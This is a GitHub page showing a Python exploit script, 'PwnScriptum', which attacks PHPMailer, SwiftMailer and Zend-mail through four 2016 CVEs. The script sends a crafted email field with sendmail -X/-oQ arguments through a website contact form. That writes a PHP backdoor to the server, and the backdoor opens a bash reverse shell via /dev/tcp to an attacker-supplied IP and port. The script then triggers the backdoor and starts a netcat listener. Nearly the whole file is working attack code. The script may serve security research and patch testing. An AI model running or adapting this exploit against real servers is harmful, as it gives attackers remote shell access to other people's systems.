-
Notifications
You must be signed in to change notification settings - Fork 7
/
PwnScriptum_RCE_exploit.py
214 lines (172 loc) · 8.92 KB
/
PwnScriptum_RCE_exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
#!/usr/bin/python
intro = """\033[94m
__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/
/____/
PHPMailer / Zend-mail / SwiftMailer - Remote Code Execution Exploit
a.k.a "PwnScriptum"
CVE-2016-10033 + CVE-2016-10045 + CVE-2016-10034 + CVE-2016-10074
This PoC exploit aims to execute a reverse shell on the target in
the context of the web-server user via vulnerable PHP email library.
Discovered and Coded by:
\033[1;34m
Dawid Golunski
https://legalhackers.com
t: @dawid_golunski for updates
\033[0m
\033[94m
P.$. For testing only! Don't break the Web ;)
\033[0m
"""
info = """
[Version]
Limited PoC (ver. 1.1)
[PoC Video]
See the the exploit in action at:
https://legalhackers.com/videos/PHPMailer-Exploit-Remote-Code-Exec-Vuln-CVE-2016-10033-PoC.html
[Info]
This exploit targets a common webapp component - Contact Form.
It combines payloads for the following vulns:
1. PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
2. PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045 / escapeshell bypass)
https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10045-Vuln.html
3. SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html
4. Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
https://legalhackers.com/advisories/ZendFramework-Exploit-ZendMail-Remote-Code-Exec-CVE-2016-10034-Vuln.html
[Usage]
./PwnScriptum_RCE_exploit.py [-h] -url WEBAPP_BASE_URL -cf CONTACT_SCRIPT
[-d TARGET_UP_DIR] -ip ATTACKERS_IP
[-p ATTACKERS_PORT] [--version]
[--post-action POST_ACTION]
[--post-name POST_NAME]
[--post-email POST_EMAIL]
[--post-msg POST_MSG]
Note, make sure the contact form matches the default field names (send/name/email/msg).
Otherwise override with --post-msg=message_box for example.
"""
import os
import argparse
import time
import urllib
import urllib2
import socket
import sys
# The Main Meat
print intro
# Show info
if '-H' in sys.argv:
print info
exit(0)
# Parse input args
parser = argparse.ArgumentParser(prog='PwnScriptum_RCE_exploit.py', description='PHPMailer / Zend-mail / SwiftMailer - RCE Exploit (a.k.a \'PwnScriptum\')\nDiscovered by Dawid Golunski (https://legalhackers.com)')
parser.add_argument('-H', action='store_true', default="false", required=False, help='Full Help / Info Page')
parser.add_argument('-url', dest='WEBAPP_BASE_URL', required=True, help='WebApp Base Url')
parser.add_argument('-cf', dest='CONTACT_SCRIPT', required=True, help='Contact Form scriptname')
parser.add_argument('-d' , dest='TARGET_UP_DIR', required=False, help='Target Upload Dir', default="upload")
parser.add_argument('-ip', dest='ATTACKERS_IP', required=True, help='Attackers Public IP for RevShell')
parser.add_argument('-p', dest='ATTACKERS_PORT', required=False, help='Attackers Port for RevShell listener', default="8080")
parser.add_argument('--version', action='version', version='%(prog)s 1.1 Limited PoC')
parser.add_argument('--post-action', dest='POST_ACTION', required=False, help='Overrides POST "action" field name', default="send")
parser.add_argument('--post-name', dest='POST_NAME', required=False, help='Overrides POST "name of sender" field name', default="name")
parser.add_argument('--post-email', dest='POST_EMAIL', required=False, help='Overrides POST "email" field name', default="email")
parser.add_argument('--post-msg', dest='POST_MSG', required=False, help='Overrides POST "message" field name', default="msg")
args = parser.parse_args()
# Preset vars
TMOUT = 3
# Set Vars
#if args.ATTACKERS_PORT is None:
# args.ATTACKERS_PORT = 8080
#if args.TARGET_UP_DIR is None:
# args.TARGET_UP_DIR = "upload"
# Build the target backdoor URL here (note the "random" pid bit to avoid php code collisions on multiple runs / multiple phpfile appends ;)
BACKDOOR_FILE = 'phpbackdoor' + str(os.getpid()) + '.php'
BACKDOOR_URL = args.WEBAPP_BASE_URL.rstrip('/') + '/' + args.TARGET_UP_DIR + '/' + BACKDOOR_FILE
CONTACT_SCRIPT_URL = args.WEBAPP_BASE_URL + args.CONTACT_SCRIPT
# Show params
print """[+] Setting vars to: \n
WEBAPP_BASE_URL = [%s]
CONTACT_SCRIPT = [%s]
TARGET_UP_DIR = [%s]
ATTACKERS_IP = [%s]
ATTACKERS_PORT = [%s]
CONTACT_SCRIPT_URL = [%s]
BACKDOOR_FILEl = [%s]
""" % (args.WEBAPP_BASE_URL, args.CONTACT_SCRIPT, args.TARGET_UP_DIR, args.ATTACKERS_IP, args.ATTACKERS_PORT, CONTACT_SCRIPT_URL, BACKDOOR_FILE)
print "[+] Choose your target / payload: "
print "\033[1;34m"
print """[1] PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)\n"""
print """[2] PHPMailer < 5.2.20 Remote Code Execution (CVE-2016-10045)
The escapeshellarg() bypass :)\n"""
print """[3] SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)\n"""
print """[4] Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)\n"""
print "\033[0m"
try:
target = int(raw_input('[?] Select target [1-2]: '))
except ValueError:
print "Not a valid choice. Exiting\n"
exit(2)
if (target>4):
print "No such target. Exiting\n"
exit(3)
if target == 1:
# PHPMailer < 5.2.18 Remote Code Execution PoC Exploit (CVE-2016-10033)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s some"@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 2:
# Bypass / PHPMailer < 5.2.20 Remote Code Execution PoC Exploit (CVE-2016-10045)
payload = "\"attacker\\' -oQ/tmp/ -X%s/%s some\"@email.com" % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 3:
# SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
if target == 4:
# Zend Framework / zend-mail < 2.4.11 - Remote Code Execution (CVE-2016-10034)
payload = '"attacker\\" -oQ/tmp/ -X%s/%s "@email.com' % (args.TARGET_UP_DIR, BACKDOOR_FILE)
print "\n[+] Generated mail() payload will upload the backdoor into the '%s' dir\n" % args.TARGET_UP_DIR
# PHP RCE code to be saved into the backdoor php file on the target in TARGET_UP_DIR. E.g:
# e.g:
#RCE_PHP_CODE = "<?php phpinfo(); ?>"
RCE_PHP_CODE = """<?php sleep(%d); system("/bin/bash -c 'nohup bash -i >/dev/tcp/%s/%s 0<&1 2>&1' "); ?>""" % (TMOUT, args.ATTACKERS_IP, args.ATTACKERS_PORT)
# The form names might need to be adjusted
post_fields = {'action': "%s" % args.POST_ACTION, "%s" % args.POST_NAME: 'Jas Fasola', "%s" % args.POST_EMAIL: payload, "%s" % args.POST_MSG: RCE_PHP_CODE}
# Attack
# Inject payload into PHPMailer / mail() via a Contact form. This should write out the backdoor
print "[+] Backdoor upload via the contact form at the URL '%s'\n" % CONTACT_SCRIPT_URL
data = urllib.urlencode(post_fields)
req = urllib2.Request(CONTACT_SCRIPT_URL, data)
try:
urllib2.urlopen(req)
except urllib2.HTTPError, e:
print "[!] Got HTTP error: [%d] when uploading the payload. Check the URL!\n\n" % e.code
exit(3)
except urllib2.URLError, err:
print "[!] Got the '%s' error when uploading the payload. Check the URL!\n\n" % err.reason
exit(4)
# Check if the backdoor was uploaded correctly.
# A little trick here. The urlopen should timeout at sleep(X)-1 if the backdoor ran fine
# So we catch the timeout to find out.
# Is it uploaded ? Try to execute the PHP backdoor and the Reverse Shell within it
print "[+] Checking for the backdoor at the URL '%s'\n" % BACKDOOR_URL
got_timeout = 0
http_err = 0
try:
urllib2.urlopen(BACKDOOR_URL, timeout = (TMOUT-1))
except urllib2.HTTPError, e:
http_err = e.code
except urllib2.URLError, err:
print "Some other error happened:", err.reason
except socket.timeout, e:
print "[*] \033[1;32mLooking good!\033[0m The sleep() worked by the looks of it :) \nUrlopen timed out just in time for the shell :)\n"
got_timeout = 1
if (got_timeout != 1):
print "[!] Something went wrong... Error [%d]. Try another dir? Push through, don't give up! :)\n" % http_err
exit(2)
# Spawn the shell and wait for the sleep() PHP call to finish before /bin/bash is called
print "[+] We should get a shell if we got till here! Spawning netcat now! :)\n"
print "[+] \033[1;34mPlease tell me you're seeing this too... ;)\033[0m\n"
os.system("nc -v -l -p %s" % args.ATTACKERS_PORT)
print "\n[+] Shell closed. Removed the uploaded backdoor scripts?\n"
print "\033[1;34mP.$. There's more to it :) Exiting, for now...\033[0m\n"